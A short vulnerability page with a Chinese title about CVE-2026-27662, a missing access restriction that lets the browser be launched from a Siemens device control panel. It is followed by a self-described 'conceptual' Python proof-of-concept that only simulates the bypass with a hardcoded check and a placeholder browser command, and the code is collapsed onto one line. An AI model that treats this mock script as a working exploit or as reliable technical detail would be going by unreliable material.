CVE-2026-27662: Siemens设备控制面板Web浏览器访问限制缺失漏洞

# Conceptual Proof of Concept (PoC) for CVE-2026-27662 # This script demonstrates the logic of exploiting the lack of access control # on the Control Panel to launch the Web Browser. # Note: This requires local access to the device interface (AV:L). import os import time def simulate_control_panel_bypass(): target_device_interface = "/dev/control_panel_input" # Hypothetical interface print("[*] Attempting to access Control Panel...") # Check if security mechanisms are active (simulated) # In a vulnerable state, this check returns False or is bypassed security_active = check_security_status() if not security_active: print("[!] No security mechanisms detected. Vulnerability confirmed.") print("[*] Sending command to launch Web Browser without authentication...") # Command injection or API call to launch browser # This represents the unauthorized action (I:H/A:H) command = "open_system_browser --url=http://internal-admin/config" try: # Execute the command via the vulnerable panel interface result = os.system(command) if result == 0: print("[+] Success! Web Browser launched with unauthorized access.") print("[+] Attacker can now explore backdoors or modify settings.") else: print("[-] Failed to launch browser.") except Exception as e: print(f"[-] Execution error: {e}") else: print("[+] Device is patched or security mechanisms are enabled.") def check_security_status(): # Simulating the check for security mechanisms # Returns False to demonstrate the exploit return False if __name__ == "__main__": simulate_control_panel_bypass()